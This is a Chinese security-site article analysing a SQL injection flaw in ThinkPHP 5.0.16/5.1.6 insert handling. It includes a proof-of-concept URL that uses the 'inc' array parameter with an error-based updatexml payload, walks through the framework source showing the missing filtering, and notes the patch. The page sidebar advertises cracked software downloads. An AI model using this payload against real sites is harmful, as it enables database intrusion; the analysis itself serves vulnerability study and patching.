ce安全网绿色资源分享

教程资讯|常用软件|安卓下载|下载排行|最近更新

软件
软件
文章
当前位置:首页网络安全网络安全文章 → ThinkPHP5.0.16&5.1.6最新版 SQL注入漏洞

ThinkPHP5.0.16&5.1.6最新版 SQL注入漏洞

时间:2018-04-11 10:00:10人气:作者:本站作者我要评论

官方地址:

http://www.thinkphp.cn/

最新版本为:

ThinkPHP5.0.16&5.1.6

ThinkPHP5.0.16&5.1.6最新版 SQL注入漏洞

漏洞复现

搭建好数据库,以我自己的配置为例。数据库为tptest,表名为user,其中有两个字段id和username

修改数据库配置信息 application/database.php。在 application/config.php 中打开调试和trace,app_debug和app_trace均为true。在 application/index/controller/Index.php 中Index类中添加方法:

public  function testsql()
    {
        $username = input('get.username/a');
        db('user')->where(['id'=> 1])->insert(['username'=>$username]);
    }

访问:

http://127.0.0.1/index.php/index/index/testsql?username[0]=inc&username[1]=updatexml(1,concat(0x7,user(),0x7e),1)&username[2]=1

ThinkPHP5.0.16&5.1.6最新版 SQL注入漏洞

漏洞分析

通过input获取到参数后,username变量情况如下:

ThinkPHP5.0.16&5.1.6最新版 SQL注入漏洞

跟入insert,thinkphp/library/think/db/Query.php:2078

<?php
public function insert(array $data = [], $replace = false, $getLastInsID = false, $sequence = null)
{
    // 分析查询表达式
    $options = $this->parseExpress();
    $data    = array_merge($options['data'], $data);
    ...

ThinkPHP5.0.16&5.1.6最新版 SQL注入漏洞

接下去执行:

<?php
$sql = $this->builder->insert($data, $options, $replace);

跟入 thinkphp/library/think/db/Builder.php:720:

<?php
  public function insert(array $data, $options = [], $replace = false)
    {
        // 分析并处理数据
        $data = $this->parseData($data, $options);
        if (empty($data)) {
            return 0;
        }
        ...

跟入parseData至 thinkphp/library/think/db/Builder.php:101 ,相关变量信息已经注释添加。

<?php
protected function parseData($data, $options)
{
    ...
    // 注
    foreach ($data as $key => $val) { // 第 101 行左右
    //  $key : "username"
    //  $val : {"inc","updatexml(1,concat(0x7,user(),0x7e),1)","1"}
        $item = $this->parseKey($key, $options);
        if (is_object($val) && method_exists($val, '__toString')) {
            ....
        }
        if (false === strpos($key, '.') && !in_array($key, $fields, true)) {
            ...
        } elseif (is_null($val)) {
            ...
        } elseif (is_array($val) && !empty($val)) {
            // $val[0] = "inc"
            switch ($val[0]) {
                case 'exp':
                    $result[$item] = $val[1];
                    break;
                case 'inc':
                    $result[$item] = $this->parseKey($val[1]) . '+' . floatval($val[2]);
                    break;
                case 'dec':
                    $result[$item] = $this->parseKey($val[1]) . '-' . floatval($val[2]);
                    break;
            }
        }
     ...
    }
    return $result;

可以看出$val是数组,且根据$val[0]值为inc,会通过switch语句进入到下面这条:

<?php
    case 'inc':
        // $val[1] = "updatexml(1,concat(0x7,user(),0x7e),1)"
        // $val[2] = "1"
        $result[$item] = $this->parseKey($val[1]) . '+' . floatval($val[2]);
        break;

跟入此处的parseKey,即thinkphp/library/think/db/builder/Mysql.php:90

<?php
    protected function parseKey($key, $options = [])
    {
        $key = trim($key);
        if (strpos($key, '$.') && false === strpos($key, '(')) {
            // JSON字段支持
            list($field, $name) = explode('$.', $key);
            $key                = 'json_extract(' . $field . ', \'$.' . $name . '\')';
        } elseif (strpos($key, '.') && !preg_match('/[,\'\"\(\)`\s]/', $key)) {
            list($table, $key) = explode('.', $key, 2);
            if ('__TABLE__' == $table) {
                $table = $this->query->getTable();
            }
            if (isset($options['alias'][$table])) {
                $table = $options['alias'][$table];
            }
        }
        if (!preg_match('/[,\'\"\*\(\)`.\s]/', $key)) {
            $key = '`' . $key . '`';
        }
        if (isset($table)) {
            if (strpos($table, '.')) {
                $table = str_replace('.', '`.`', $table);
            }
            $key = '`' . $table . '`.' . $key;
        }
        return $key; // $key : "updatexml(1,concat(0x7,user(),0x7e),1)"
    }

此处并未对传入的$key进行更多的过滤与检查,最后返回的仍然是1 and (updatexml(1,concat(0x7,user(),0x7e),1))

回到parseDatafloatval($val[2])返回1,这也正是我们要传入username[2]=1的原因。将其与前面经过parseKey的结果进行拼接后返回给result

ThinkPHP5.0.16&5.1.6最新版 SQL注入漏洞

回到 thinkphp/library/think/db/Query.ph 的 insert 中:

ThinkPHP5.0.16&5.1.6最新版 SQL注入漏洞

sql注入成功。

漏洞修复

ThinkPHP5.0.16&5.1.6最新版 SQL注入漏洞

在进行decinc操作之前对$val[1]的值进行了再次确认。

相关文章

猜你喜欢

  • Ougishi绿色版下载 V4.00 中文版

    2020-06-19 / 561k

  • 谷歌地图下载助手睿智版破解下载 V9.5绿色版

    2020-06-19 / 32.7M

  • OfficeFIX中文破解版V6.110 注册版

    2020-06-19 / 26.8M

  • Plotagraph破解版V1.2.0 免费版 32/64位

    2020-06-19 / 31.5M

  • IP查详细地址工具下载 V1.1 官方免费版

    2020-06-19 / 408K

  • 内存扫把中文版下载V1.97绿色版

    2020-06-19 / 1.3M

网友评论

验证码:

请自觉遵守互联网相关政策法规,评论内容只代表网友观点,与本站立场无关!

最新评论

已有人参与,点击查看更多精彩评论

关于CE安全网 | 联系方式 | 发展历程 | 版权声明 | 下载帮助(?) | 广告联系 | 网站地图 | 友情链接

Copyright 2019-2029 cesafe.com 【CE安全网】 版权所有 蜀ICP备19039426号-2| 蜀ICP备19039426号-2

声明: 本站为非赢利性网站 不接受任何赞助和广告 所有软件和文章来自互联网 如有异议 请与本站联系 技术支持:ce安全网